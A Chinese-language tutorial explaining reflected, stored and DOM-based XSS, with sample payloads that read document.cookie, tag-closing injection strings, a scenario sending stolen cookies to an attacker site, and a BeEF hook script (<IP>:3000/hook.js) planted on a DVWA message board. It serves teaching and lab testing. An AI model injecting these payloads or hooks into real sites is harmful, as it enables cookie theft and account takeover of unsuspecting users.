赞
踩
目录
xss攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、VBScript、ActiveX、Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
xss属于客户端攻击。JavaScript可以用来获取用户的Cookie、改变网页内容、URL调转,那么存在XSS漏洞的网站,就可以盗用用户的Cookie、黑掉网页、导航到恶意网站,而攻击者需要做的仅仅是向网页中注入JavaScript代码。
以下面的代码为例,显然代码中并没有对我们输入的name值没有做出任何的过滤,就进行了输出。
- 当我们输入的代码为:
- <script>alert(1)</script>
- <script>confirm(1)</script>
- <script>prompt(1)</script>
就会发生弹窗的行为:
这就是触发xss攻击,攻击者可以在<script>和</script>之间写上JS代码,实现一些所谓的“特殊效果”,但是在真实的攻击中,并不会是一个简单的弹窗,通常使用<script src="http://www.xxx.com/1.txt"></script>方式来加载外部的脚本文件,而在1.txt中存放着攻击者的恶意代码,这段代码有可能是盗用客户的cookie,或者是监控键盘记录等恶意行为。
XSS主要分为三种,分别是:反射型、存储型、DOM型。
反射型XSS也成为非持久性XSS,是最容易出现的一种XSS漏洞,当用户访问某个带有xss代码的url请求时,服务器端接收到数据后处理,然后将带有xss代码的数据发送给浏览器,浏览器解析这段带有xss代码的数据后,就造成了XSS漏洞,这个过程很像一次反射,所以我们把它称之为反射型XSS。还是以下面的这个例子来分析。
程序接收到name的值,进行判断是否为空,然后进行输出,那么我们输入xiaoming,程序会给我们回显Hello xiaoming;那么如果我们在name的值中写入name=<script>xss恶意代码</script>;就会造成反射型XSS漏洞。
可能很多人会问反射型XSS也没有多么大的危害呀?其实不然,假设http://www.xxx.com/xss.php存在着XSS漏洞,那么攻击者的过程可能是这样的:
1. 用户a是http://www.xxx.com/xss.php网站的用户,此时正在看论坛中的信息。
2. 攻击者发现了http://www.xxx.com/xss.php存在XSS漏洞,那么他会精心的构造JS代码,这段代码可能实现了盗用用户的cookie信息发送到指定的某个站点www.xhacker.com。
3. 攻击者将带有反射型XSS漏洞的URL通过站内信发送给用户a,站内信为一些极具诱惑的信息,目的就是想让用户a区单击该链接。
4. 假设用户a单击了该链接,那么就会把用户a的cookie信息发送到指定的站点www.xhacker.com。
5. 此时的攻击者就可以通过用户a的cookie信息来登录http://www.xxx.com/xss.php,从而能够获取到用户a的敏感信息。
那么设想一下,如果用户a是管理员呢?是不是就可以通过管理员的cookie来登录后台?
存储型XSS又称为持久性XSS,他是最危险的一种跨站脚本。
允许用户储存数据的web应用程序都可能出现存储型XSS漏洞,当攻击者提交一段XSS代码,服务器接收并储存,当攻击者再次访问某个页面的时候,这段代码被程序读出来,发送给浏览器,造成了XSS跨站攻击。这就是存储型XSS。
存储型XSS相比于反射型、DOM型XSS来说,其隐蔽性更高,危害性也更高。他们之间最大的区别就是存储型XSS是不需要用户手动去触发的。
在测试是否存在XSS时,首先要确定的就是输入点和输出点。在知道了输出点之后,我们可以根据相应的标签来构造对应的HTML代码来闭合。
- <script>alert(document.cookie)</script> #普通注入
- "/><script>alert(document.cookie)</script> #闭合标签注入
- </textarea>'''><script>alert(document.cookie)</script> #闭合标签注入
DOM的全称为Document Object Model,DOM通常代表着HTML、XHTML、XML中的对象。使用DOM可以允许程序和脚本动态的访问和更新文档的内容、样式和结构。
一个经典的DOM型XSS的例子:
- <script>
- var temp = document.URL; #获取URL
- var index = document.URL.indexof("content=")+4;
- var par = temp.substring(index);
- document.write(decodeURL(par)); #输入获取的内容
- </script>
上述代码的大概意思就是获取URL中的content参数的内容,然后将其输出。那么我们就可以写成content=<script>alert(/xss/)</script>,这就触发了XSS漏洞。
DOM本身就是文档的意思,而基于DOM型的XSS是不用与服务器端交互的,它只发生在客户端处理数据的时候。
在已知输出位置的情况下,不建议直接将<script>恶意代码</script>,直接进行检测,因为可能存在着过滤,所以还是要先看一下是否存在着过滤,比如我们可以输入“11111<>&”,然后在源代码中直接查找11111的位置,这样会比较方便。
然而非常多的web应用程序的源代码是不公开的,因此我们在输入数据之后,并不知道这些数据在哪里显示,就像是在某个留言板中发表留言,需要管理员的审批通过,才可以在留言板中进行显示,所以在这种情况下我们并不知道数据是什么样的形式存在着。通常会进行一些闭合来测试,例如/>aaaaa来测试。
专业的XSS扫描工具很多,像有名的XSSER、XSSfork都还不错。
beef工具的使用
- sudo apt-get update
- sudo apt-get install beef-xss
- beef-xss
下面就以DVWA来测试beef的使用。(在首次安装和登录beef的时候需要更改beef的密码)
- 我们在留言板上留言:
- <script src="http://<IP>:3000/hook.js"></script>
之后我们在kali中可以看到上线的主机。之后可以通过beef来获取许多的信息,如cookie信息,重定向网页等等。
这里我们来使用一下获取cookie信息。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。